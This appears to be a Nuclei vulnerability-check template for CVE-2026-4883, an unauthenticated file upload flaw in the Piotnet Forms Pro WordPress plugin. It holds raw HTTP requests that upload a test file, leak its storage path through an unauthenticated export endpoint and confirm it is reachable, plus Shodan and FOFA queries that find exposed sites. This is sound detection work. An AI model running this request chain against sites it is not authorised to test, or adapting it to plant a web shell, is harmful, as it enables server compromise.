CVE-2026-4883: Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE

id: CVE-2026-4883

info:
  name: Piotnet Forms Pro <= 2.1.40 - Unauthenticated Arbitrary File Upload RCE
  author: 0x_Akoko,xShadow-Here
  severity: critical
  description: |
    Piotnet Forms WordPress plugin <= 2.1.40 contains an unrestricted file upload vulnerability caused by incomplete file extension blacklist in 'piotnetforms_ajax_form_builder', letting unauthenticated attackers upload arbitrary files, exploit requires a file field in the form.
  impact: |
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  remediation: |
    Update to the latest version of Piotnet Forms plugin.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4883
    - https://github.com/xShadow-Here/CVE-2026-4883
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-4883
    epss-score: 0.03063
    epss-percentile: 0.877
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: piotnetforms
    product: piotnetforms-pro
    shodan-query: http.html:"piotnetforms"
    fofa-query: body="piotnetforms"
  tags: cve,cve2026,wordpress,piotnetforms,fileupload,rce,wp-plugin,intrusive,vkev

flow: |
  http(1);
  http(2);
  let raw = String(template["upload_path"] || "");
  let f = String(template["fname"] || "");
  let parts = raw.replace("[", "").replace("]", "").split(/[\s,]+/);
  let chosen = "";
  for (let i = 0; i < parts.length; i++) {
    if (parts[i] && parts[i].indexOf("/" + f + "-") !== -1) {
      chosen = parts[i];
    }
  }
  if (chosen !== "") {
    set("upload_path", chosen);
    http(3);
  }

variables:
  fname: "{{to_lower(rand_base(5))}}"

http:
  - raw:
      - |
        @timeout: 40s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPF
        X-Requested-With: XMLHttpRequest
        Referer: {{BaseURL}}/
        Connection: close

        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="action"

        piotnetforms_ajax_form_builder
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="post_id"

        1
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="form_id"

        piotnetforms
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="fields"

        [{"name":"upload_field","value":"","file_name":["{{fname}}.txt"],"attach-files":0,"type":"file","image_upload":false,"label":"","repeater_id":"","repeater_index":0,"repeater_label":""}]
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="referrer"

        {{BaseURL}}/
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="remote_ip"

        127.0.0.1
        ------WebKitFormBoundaryPF
        Content-Disposition: form-data; name="upload_field[]"; filename="{{fname}}.txt"
        Content-Type: text/plain

        {{fname}}

        ------WebKitFormBoundaryPF--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"status\":1")'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /wp-admin/admin-ajax.php?action=piotnetforms_export_form_submission HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Connection: close

    extractors:
      - type: regex
        name: upload_path
        internal: true
        group: 1
        part: body
        regex:
          - '(/wp-content/uploads/piotnetforms/files/[a-z0-9]{5}-[0-9a-f]{13}\.txt)'

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/uploads/piotnetforms/files/{{fname}}-")'
        internal: true

  - raw:
      - |
        GET {{upload_path}} HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{{fname}}")'
        condition: and
# digest: 4a0a00473045022032c7a569a3646ed9724f465cf26650ab61890e0b344d22e6abc75c6cd4e023f3022100a6ec1a5730755dfacb4d9ed2176f2b0e205a2927433c08ee4dcb3780dee6f477:922c64590222798bb761d5b6d8e72950

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